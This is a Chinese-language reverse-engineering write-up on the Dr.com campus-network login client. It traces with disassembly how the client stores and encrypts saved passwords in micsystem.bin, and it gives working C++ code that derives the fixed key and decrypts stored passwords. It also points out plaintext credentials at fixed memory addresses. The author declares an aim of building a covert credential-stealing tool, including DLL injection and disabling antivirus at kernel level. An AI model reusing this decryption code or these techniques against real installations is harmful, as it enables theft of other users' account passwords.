DR.com客户端解密过程逆向分析
说明:
Dr.com Client是城市热点提供的校园网认证平台,很多学校都用这个,例如,CQU、CQNU等等(不过我们家是用H3Com认证的,有点意思)。
离校前一天晚上三个人在宿舍密谋弄个关于Dr.com的猥琐东东出来,此破文是那个小东东的前期分析,主要解决如何从Dr.com加密文本中获得加密字符串后,自己实现解密函数进行解密分析,得到真正的密码。
此破文仅仅对客户端进行了跟踪,因为家里不可能连到网络中心,所以不涉及任何通信数据包截获解密的部分.此部分可参考Xfocus上某帖
参考文献:
Dr.com客户端认证研究 www.xfocus.net/bbs/index.php?act=ST&f=2&t=42694&page=1
探究Dr.COM Client内存显示明文密码漏洞 http://hack.77169.com/HTML/20080723140033.html
Dr.com3.46客户端密码文件解密过程 http://bbs.pediy.com/showthread.php?p=440464
此破文大部分参考自《Dr.com3.46客户端密码文件解密过程》,此文作者经过我社工后发现:
1、 貌似是我老乡..郑州人好像..
2、 貌似是我师兄、CQU计院研二..
以上均属社工猜测,可能与实际不符..。
正文:
工具、平台: WINXP SP1 + OllyICE + IDA + VS2008 + UltraEdit + EditPlus
Dr.com版本号:v3.482,其它版本大致通用
主要逆向了三部分,一是找到加密字符串所在文本并打开过程、二是密钥的生成过程、三是利用密钥对加密字符串的解密过程..
详细过程:
因为关于DR.com的解密逆向已经不少了,看了几篇paper后,大致有了思路,先小跟了下程序,一直跟到了那个要输入帐号密码的对话框,因为没有选择保存密码,所以没有发现文件操作部分..
大致熟悉初始化过程后,根据DRcom的内存明文显示密码问题下手,首先,用OD加载Drcom,搜索引用字符串:
从这点跟进,终于找到放密码的内存地址,这个地址是硬编码,不会变的..
经过分析发现
0x0041DB00是存放帐号的地址;0x41DB1B是存放密码的地址,在这两个字符串之间还有一段数据,因为目前用不到就没解,有兴趣的自己尝试..
0040CFA5 |. 8D7424 2C lea esi, dword ptr [esp+2C]
0040CFA9 |. BF 00DB4100 mov edi, 0041DB00 ; 20075440
0040CFAE |. 8A4424 47 mov al, byte ptr [esp+47]
在这里断下来,0x0041DB00果真是帐号吧.呵呵
下面提供一种相当猥琐的方法:
在内存上下断点,我在0x0041DB00内存位置下内存写入断点,当把20075440写入的时候就会触发,我大致跟了下,这个帐号是从同目录下的login2.dat里读出的..
在0x0041DB00下断的目的是为了分析读密码的文件流操作,如果只想逆向解密那部分,可以直接断在0x0041DB1B
下面单步几下来到对密码所在文件操作的部分:
UINT WINAPI GetSystemDirectory(
__out LPTSTR lpBuffer,
__in UINT uSize
);
lpBuffer装的是系统路径,usize为其长度,即eax,后面判断如果长度为0,就直接退出
0040F91A | . BF 00704100 mov edi, 00417000 ; \micsy
0040F91F | . 33C0 xor eax, eax ; eax清0
0040F921 | . 53 push ebx
0040F922 | . F2:AE repne scas byte ptr es:[edi] ; 计算0x0041700处字符串长度
0040F924 | . F7D1 not ecx ; ecx = strlen( " \micsy " );
0040F926 | . 2BF9 sub edi, ecx
0040F928 | . 8D5424 48 lea edx, dword ptr [esp + 48 ] ; 应该是上面函数getSystemDirectoryA出来的
0040F92C | . 8BD9 mov ebx, ecx
0040F92E | . 8BF7 mov esi, edi
0040F930 | . 83C9 FF or ecx, FFFFFFFF
0040F933 | . 8BFA mov edi, edx
0040F935 | . F2:AE repne scas byte ptr es:[edi] ; 移到系统目录字符串末尾
0040F937 | . 8BCB mov ecx, ebx
0040F939 | . 4F dec edi ; 把 ' \0 ' 去掉
0040F93A | . C1E9 02 shr ecx, 2
0040F93D | . F3:A5 rep movs dword ptr es:[edi], dword p >
0040F93F | . 8BCB mov ecx, ebx
0040F941 | . 8D5424 48 lea edx, dword ptr [esp + 48 ]
0040F945 | . 83E1 03 and ecx, 3
0040F948 | . 50 push eax ; / hTemplateFile => NULL
0040F949 | . F3:A4 rep movs byte ptr es:[edi], byte ptr > ; |
0040F94B | . BF F86F4100 mov edi, 00416FF8 ; | stem.存放密码文件的另一半够变态吧,micsy + sytem就出来了那个放密码的文件名了
0040F950 | . 83C9 FF or ecx, FFFFFFFF ; |
0040F953 | . F2:AE repne scas byte ptr es:[edi] ; |
0040F955 | . F7D1 not ecx ; |
0040F957 | . 2BF9 sub edi, ecx ; |
0040F959 | . 50 push eax ; | Attributes => 0
0040F95A | . 8BF7 mov esi, edi ; |
0040F95C | . 8BD9 mov ebx, ecx ; |
0040F95E | . 8BFA mov edi, edx ; |
0040F960 | . 83C9 FF or ecx, FFFFFFFF ; |
0040F963 | . F2:AE repne scas byte ptr es:[edi] ; |
0040F965 | . 8BCB mov ecx, ebx ; |
0040F967 | . 4F dec edi ; |
0040F968 | . C1E9 02 shr ecx, 2 ; |
0040F96B | . F3:A5 rep movs dword ptr es:[edi], dword p > ; |
0040F96D | . 8BCB mov ecx, ebx ; |
0040F96F | . 8D5424 50 lea edx, dword ptr [esp + 50 ] ; |
0040F973 | . 83E1 03 and ecx, 3 ; |
0040F976 | . 6A 04 push 4 ; | Mode = OPEN_ALWAYS
0040F978 | . F3:A4 rep movs byte ptr es:[edi], byte ptr > ; |
0040F97A | . BF F46F4100 mov edi, 00416FF4 ; | binstem.
0040F97F | . 83C9 FF or ecx, FFFFFFFF ; |
0040F982 | . F2:AE repne scas byte ptr es:[edi] ; |
0040F984 | . F7D1 not ecx ; |
0040F986 | . 2BF9 sub edi, ecx ; |
0040F988 | . 50 push eax ; | pSecurity => NULL
0040F989 | . 8BF7 mov esi, edi ; |
0040F98B | . 8BD9 mov ebx, ecx ; |
0040F98D | . 8BFA mov edi, edx ; |
0040F98F | . 83C9 FF or ecx, FFFFFFFF ; |
0040F992 | . F2:AE repne scas byte ptr es:[edi] ; |
0040F994 | . 8BCB mov ecx, ebx ; |
0040F996 | . 4F dec edi ; |
0040F997 | . C1E9 02 shr ecx, 2 ; |
0040F99A | . F3:A5 rep movs dword ptr es:[edi], dword p > ; |
0040F99C | . 8BCB mov ecx, ebx ; |
0040F99E | . 50 push eax ; | ShareMode => 0
0040F99F | . 83E1 03 and ecx, 3 ; |
0040F9A2 | . 8D4424 5C lea eax, dword ptr [esp + 5C] ; |
0040F9A6 | . 68 00000080 push 80000000 ; | Access = GENERIC_READ
0040F9AB | . 50 push eax ; | FileName
0040F9AC | . F3:A4 rep movs byte ptr es:[edi], byte ptr > ; |
0040F9AE | . FF15 A0204100 call dword ptr [ <& KERNEL32.CreateFile > ; \CreateFileA
0040F9B4 | . 8BF0 mov esi, eax ; 组合出路径,然后createfile
0040F9B6 | . 5B pop ebx
0040F9B7 | . 83FE FF cmp esi, - 1
0040F9BA | . 75 0B jnz short 0040F9C7
---------------------------------------------------------------------------------------------------------------------------
以上代码组合出密码文件所在路径!
以上为三次strlen+strcat得到的字符串.把一些硬编码连接在一起就组合出了这个路径,里面存的就是加密后的密码.
0040F959 | . 50 push eax ; | Attributes => 0
0040F976 | . 6A 04 push 4 ; | Mode = OPEN_ALWAYS
0040F988 | . 50 push eax ; | pSecurity => NULL
0040F99E | . 50 push eax ; | ShareMode => 0
0040F9A6 | . 68 00000080 push 80000000 ; | Access = GENERIC_READ
0040F9AB | . 50 push eax ; | FileName
0040F9AE | . FF15 A0204100 call dword ptr [ <& KERNEL32.CreateFileA > ] ; \CreateFileA
我把所有的push整合后,出来了CreateFile的调用
HANDLE CreateFile(
LPCTSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
);
完全符合,参数从右到左压栈了!
调用最终返回一个文件句柄。
继续:
和我们平常写文件流操作完全一样,CreatFile后自然开始ReadFile()
判断返回值eax,如果为0就是调用失败,函数退出
读完后CloseHandle(),不说了..
看看ReadFile出来了什么:
EDX指向esp+8,就是堆栈中的字符串的显示
堆栈中的字符串
看一下文件中真是这个字符串么:
打开 C:\WINDOWS\system32\micsystem.bin
果真如此,哈哈!
读出的内容已经压栈了,应该是下面那个call的一个参数,call 00401D00
这个很明显,解密函数到了!
F7单步进去:
这里是计算密钥的函数,可惜Dr.com公司接口留的不错,只是没有利用,这个函数永远返回定值:0x75B9,以为它的参数字符串是硬编码,汗..
但还是跟进去看一下吧:
00401FA0 / $ 83EC 08 sub esp, 8
00401FA3 | . 53 push ebx
00401FA4 | . 56 push esi
00401FA5 | . 57 push edi
00401FA6 | . 8B7C24 18 mov edi, dword ptr [esp + 18 ] ; esp + num;为传递的参数的形式.num足够大就是传参,小就是局部变量
00401FAA | . 83C9 FF or ecx, FFFFFFFF
00401FAD | . 33C0 xor eax, eax
00401FAF | . 33DB xor ebx, ebx
00401FB1 | . 33F6 xor esi, esi
00401FB3 | . F2:AE repne scas byte ptr es:[edi] ; 貌似是把字符串读进去,然后edi就是字符串末尾,ecx记录长度
00401FB5 | . F7D1 not ecx ; 去反
00401FB7 | . 49 dec ecx ; 去掉\ 0
00401FB8 | . 33FF xor edi, edi
00401FBA | . 3BCB cmp ecx, ebx
00401FBC | . 895C24 0C mov dword ptr [esp + C], ebx
00401FC0 | . 894C24 10 mov dword ptr [esp + 10 ], ecx
00401FC4 | . 7E 56 jle short 0040201C
00401FC6 | . 55 push ebp
00401FC7 |> 8B4424 1C / mov eax, dword ptr [esp + 1C] ; 取常量字符串
00401FCB | . 56 | push esi ; 上次除的余数压栈
00401FCC | . 0FBE2C07 | movsx ebp, byte ptr [edi + eax] ; 取字符串的第i个字符
00401FD0 | . E8 6B000000 | call 00402040 ; eax = 2 ^ esi
00401FD5 | . 0FAFC5 | imul eax, ebp ; eax * ebp;ebp为str[i]
00401FD8 | . 8B4C24 14 | mov ecx, dword ptr [esp + 14 ] ; esp + 14 | 18 固定存异或的结果
00401FDC | . 53 | push ebx ; ebx压栈
00401FDD | . 33C8 | xor ecx, eax ; ecx与eax亦或
00401FDF | . 894C24 18 | mov dword ptr [esp + 18 ], ecx ; 果真,每次存异或的结果
00401FE3 | . E8 58000000 | call 00402040 ; eax = 2 ^ ebx
00401FE8 | . 0FAFC5 | imul eax, ebp ; eax * ebp;ebp为str[i]
00401FEB | . 8B5424 18 | mov edx, dword ptr [esp + 18 ] ; 取出异或的结果
00401FEF | . B9 13000000 | mov ecx, 13
00401FF4 | . 33D0 | xor edx, eax
00401FF6 | . 8D46 07 | lea eax, dword ptr [esi + 7 ] ; 余数加7 10
00401FF9 | . 895424 18 | mov dword ptr [esp + 18 ], edx
00401FFD | . 83C4 08 | add esp, 8
00402000 | . 99 | cdq
00402001 | . F7F9 | idiv ecx ; eax存值,edx存余数
00402003 | . 8D43 0D | lea eax, dword ptr [ebx + D] ; 余数 + 13 13
00402006 | . B9 17000000 | mov ecx, 17
0040200B | . 8BF2 | mov esi, edx ; esi = eax % 13h
0040200D | . 99 | cdq
0040200E | . F7F9 | idiv ecx
00402010 | . 8B4424 14 | mov eax, dword ptr [esp + 14 ] ; esp + 14为strlen
00402014 | . 47 | inc edi ; edi控制循环
00402015 | . 3BF8 | cmp edi, eax
00402017 | . 8BDA | mov ebx, edx ; ebx = eax % 17h
00402019 | . ^ 7C AC \jl short 00401FC7
0040201B | . 5D pop ebp
0040201C |> 8B4424 0C mov eax, dword ptr [esp + C]
00402020 | . B9 B9880100 mov ecx, 188B9
00402025 | . 35 01890100 xor eax, 18901
0040202A | . 5F pop edi
0040202B | . 99 cdq
0040202C | . F7F9 idiv ecx
0040202E | . 5E pop esi
0040202F | . 5B pop ebx
00402030 | . 8BC2 mov eax, edx
00402032 | . 83C4 08 add esp, 8
00402035 \. C3 retn
上面是我结合其它文章和自己的分析给出的,个别地方注释是早期留得,有点错误.
上面这个函数都比较简单,里面有个call 0x00402040,这个函数调用更简单,代码如下:
00402044 | . B8 01000000 mov eax, 1
00402049 | . 3BC8 cmp ecx, eax
0040204B | . 7C 05 jl short 00402052
0040204D |> 03C0 / add eax, eax
0040204F | . 49 | dec ecx
00402050 | . ^ 75 FB \jnz short 0040204D
00402052 \ > C3 retn
还原出来大致是int Fun(int n),返回2的n次幂
给出C实现:
{
if (num == 0 )
{
return 1 ;
}
int sum = 1 ;
for ( int i = 0 ;i < num;i ++ )
{
sum <<= 1 ;
}
return sum;
}
对照下即可明白!
加上此函数,就可得到那个得到密钥的函数
原型
int Decode(char* pch)
C实现:
{
int len = strlen(pch);
char ch;
int num = 0 ;
int si = 0 ;
int bx = 0 ;
for ( int i = 0 ;i < len;i ++ )
{
ch = * (pch + i);
int temp = Fun(si) * ch;
num ^= temp;
temp = Fun(bx) * ch;
num ^= temp;
si = (si + 0x07 ) % 0x13 ;
bx = (bx + 0x0d ) % 0x17 ;
}
return num;
}
然后综合分析自己写个得到密钥DEMO:
2 #include < string .h >
3 using namespace std;
4
5 int Fun( int num)
6 {
7 if (num == 0 )
8 {
9 return 1 ;
10 }
11 int sum = 1 ;
12 for ( int i = 0 ;i < num;i ++ )
13 {
14 sum <<= 1 ;
15 }
16 return sum;
17 }
18
19 int decode( char * pch)
20 {
21 int len = strlen(pch);
22 char ch;
23 int num = 0 ;
24 int si = 0 ;
25 int bx = 0 ;
26 for ( int i = 0 ;i < len;i ++ )
27 {
28 ch = * (pch + i);
29 int temp = Fun(si) * ch;
30 num ^= temp;
31 temp = Fun(bx) * ch;
32 num ^= temp;
33 si = (si + 0x07 ) % 0x13 ;
34 bx = (bx + 0x0d ) % 0x17 ;
35 }
36
37 return num;
38 }
39
40 int main()
41 {
42 char * constr = " TblRefreshCurMonthServiceUse " ;
43 int num = decode(constr);
44 num ^= 0x18901 ;
45 num %= 0x188B9 ;
46
47 cout << num << endl;
48
49 }
由于参数是个常量字符串,结果自然也是常量:30317
这段代码明显在浪费时间..
接着分析:
00401DD3 | . 55 push ebp
00401DD4 | . 56 push esi
00401DD5 | . 57 push edi
00401DD6 | . B9 00020000 mov ecx, 200
00401DDB | . 33C0 xor eax, eax
00401DDD | . BF 8CC64100 mov edi, 0041C68C
00401DE2 | . F3:AB rep stos dword ptr es:[edi] ; 开放缓冲区
00401DE4 | . 68 34444100 push 00414434 ; tblrefreshcurmonthserviceuse
00401DE9 | . E8 B2010000 call 00401FA0 ; 上面那个字符串参数诡异,返回常量75B9
00401DEE | . 8BBC24 880000 > mov edi, dword ptr [esp + 88 ] ; 取加密字符串
00401DF5 | . 8BE8 mov ebp, eax ; 常量存入ebp;75B9
00401DF7 | . 83C9 FF or ecx, FFFFFFFF
00401DFA | . 33C0 xor eax, eax
00401DFC | . 83C4 04 add esp, 4 ; 弹出字符串指针
00401DFF | . 8BF0 mov esi, eax ; 准备做循环控制变量
00401E01 | . F2:AE repne scas byte ptr es:[edi]
00401E03 | . F7D1 not ecx
00401E05 | . 49 dec ecx ; 以上几句为取strlen的固定格式..
00401E06 | . 49 dec ecx
00401E07 | . 894C24 18 mov dword ptr [esp + 18 ], ecx ; ecx = strlen - 1 ;
00401E0B | . 0F88 98000000 js 00401EA9
00401E11 | . 8BC5 mov eax, ebp
00401E13 | . 33FF xor edi, edi
00401E15 | . F7D8 neg eax ; eax取反,并且会影响CF位
00401E17 | . 53 push ebx
00401E18 | . C74424 10 8CC > mov dword ptr [esp + 10 ], 0041C68C
00401E20 | . 894424 18 mov dword ptr [esp + 18 ], eax ; 下面应该是解密的循环
00401E24 |> 8B8424 880000 >/ mov eax, dword ptr [esp + 88 ]
00401E2B | . 8A0406 | mov al, byte ptr [esi + eax] ; 取一个加密字符 esi代表数组下标
00401E2E | . 0FBED8 | movsx ebx, al ; ebx放当前字符
00401E31 | . 83FB 20 | cmp ebx, 20 ; 是否为空格,以下程序判断字符是否为可打印字符
00401E34 | . 884434 20 | mov byte ptr [esp + esi + 20 ], al ; 一直加堆栈位貌似
00401E38 | . 7C 5B | jl short 00401E95
00401E3A | . 83FB 7E | cmp ebx, 7E
00401E3D | . 7F 56 | jg short 00401E95
00401E3F | . 03FD | add edi, ebp ; // edi edi = key×i
00401E41 | . B9 B9880100 | mov ecx, 188B9
00401E46 | . 8BC7 | mov eax, edi
00401E48 | . 46 | inc esi ; 循环加一
00401E49 | . 99 | cdq
00401E4A | . F7F9 | idiv ecx
00401E4C | . 895424 14 | mov dword ptr [esp + 14 ], edx ; 保存余数
00401E50 | . DB4424 14 | fild dword ptr [esp + 14 ]
00401E54 | . DC0D A8234100 | fmul qword ptr [4123A8]
00401E5A | . DC0D A0234100 | fmul qword ptr [4123A0]
00401E60 | . E8 3BF20000 | call < jmp. & MSVCRT._ftol > ; 进入浮点数计算
00401E65 | . 8BD0 | mov edx, eax ; 把结果放入edx,结果固定是1c么?不是
00401E67 | . 8BC3 | mov eax, ebx ; 取出加密字符
00401E69 | . 2BC2 | sub eax, edx ; 加密字符与计算结果相减放入eax
00401E6B | . B9 5F000000 | mov ecx, 5F
00401E70 | . 83E8 20 | sub eax, 20
00401E73 | . 99 | cdq
00401E74 | . F7F9 | idiv ecx ; edx = (ch[i] - ftoih - 20h) % 5fh
00401E76 | . 85D2 | test edx, edx ; 是否除尽
00401E78 | . 7D 02 | jge short 00401E7C
00401E7A | . 03D1 | add edx, ecx
00401E7C |> 8B4424 18 | mov eax, dword ptr [esp + 18 ]
00401E80 | . 8B4C24 1C | mov ecx, dword ptr [esp + 1C]
00401E84 | . 03F8 | add edi, eax ; edi - key
00401E86 | . 8B4424 10 | mov eax, dword ptr [esp + 10 ] ; eax存放加密字符
00401E8A | . 80C2 20 | add dl, 20
00401E8D | . 4E | dec esi
00401E8E | . 8810 | mov byte ptr [eax], dl ; dl为对应密码,取出后放在0x41C68C + i
00401E90 | . 40 | inc eax
00401E91 | . 894424 10 | mov dword ptr [esp + 10 ], eax
00401E95 |> 46 | inc esi
00401E96 | . 03FD | add edi, ebp
00401E98 | . 3BF1 | cmp esi, ecx
00401E9A | . ^ 7E 88 \jle short 00401E24 ; 判断解密是否结束
00401E9C | . 5B pop ebx
00401E9D | . 5F pop edi
00401E9E | . 5E pop esi
00401E9F | . B8 8CC64100 mov eax, 0041C68C
00401EA4 | . 5D pop ebp
00401EA5 | . 83C4 74 add esp, 74
00401EA8 | . C3 retn
00401EA9 |> 5F pop edi
00401EAA | . 5E pop esi
00401EAB | . B8 8CC64100 mov eax, 0041C68C
00401EB0 | . 5D pop ebp
00401EB1 | . 83C4 74 add esp, 74
00401EB4 \. C3 retn
上面的分析已经比较清楚了,看下这个函数:
00401E54 | . DC0D A8234100 | fmul qword ptr [4123A8]
00401E5A | . DC0D A0234100 | fmul qword ptr [4123A0]
00401E60 | . E8 3BF20000 | call < jmp. & MSVCRT._ftol > ; 进入浮点数计算
00401E65 | . 8BD0 | mov edx, eax ; 把结果放入edx,结果固定是1c么?不是
_atoi(),是一个系统CRT函数,还是Dr.COM的人懒,传的参数又是两个常数,这个_atoi()代码不超过10行,本来是很容易逆向的,但是里面的wait和leave指令不懂,自己实现的_atoi()结果不对,所以放弃,还是用直接调用系统本身的方法..
整个解密过程到此算是逆向的差不多了,自己根据反汇编代码可以写出解密函数,还有一种更猥琐的方法,我正在试验中,写个dll远程注入到ishare_user.exe中,直接调用drcom本身就可以完成一切功能..这个方法配合一些歪门邪道有点用处的..
解密过程代码:
2 #include < string .h >
3 #include < Windows.h >
4 using namespace std;
5
6 void Decode( char * pch)
7 {
8 int key = 0x75B9 ,sum = 0 ;
9 char * code = new char [ 1024 ];
10 int len = strlen(pch);
11 for ( int i = 0 ;i < len;i ++ )
12 {
13 char ch = pch[i];
14 if (ch >= 0x20 && ch <= 0x7e )
15 {
16 sum += key;
17
18 int st0 = 0 ,dst = 0 ;
19 double d310 = 96.00000000000000 ;
20 double d318 = 9.946586828729721e-06 ;
21
22 HINSTANCE LibHandle;
23 LibHandle = LoadLibrary(L " msvcrt.dll " );
24 void * _ftol;
25 _ftol = ( void * )GetProcAddress(LibHandle, " _ftol " );
26 st0 = sum % 0x188B9 ;
27 __asm
28 {
29 fild st0;
30 fmul d318;
31 fmul d310;
32 call _ftol;
33 mov dst,eax
34 }
35 dst = (ch - dst - 0x20 ) % 0x5f ;
36 if (dst < 0 ) dst = dst + 0x5F ;
37 code[i] = dst + 32 ;
38 }
39 }
40 code[len] = ' \0 ' ;
41 cout << code << endl;
42 }
43
44 int main()
45 {
46 char * pch = " Pk-Jf!:_u " ;
47 Decode(pch);
48
49 return 0 ;
50 }
相关文档下载:RV-Drcom.rar
进一步改进:
目前Dr.com的这个问题就比较尴尬,内存明文显示密码,解密过程路人皆知。但是他们公司却认为这个是本机的问题,问题是相信杀毒软件可以监控Dr.COM的镜象还不如相信没人去反汇编Dr.com呢。
杀毒软件有N种方法可以阻止进入Dr.com的内存,我们自然就有N+1种方法可以进入Dr.com内存,大不了ring0下把杀软给干掉,然后读取那个内存位置,获得帐号密码,然后…自己想去吧..
还有个问题,如何解决通用性,各个版本的Dr的那个地址是不一样的,我的思路是stack callback,就是利用栈回溯到那个具有0x0041C68C特征的调用函数位置,然后再结合静态代码分析得到那个指向密码的指针,Dr.com的那段二进制码应该差别不大,很好定位特征应该..
既然有解密过程,剩下的就是一些猥琐技巧了..争取回校前搞定..
-----------by 0x0o
Time: 09.01.20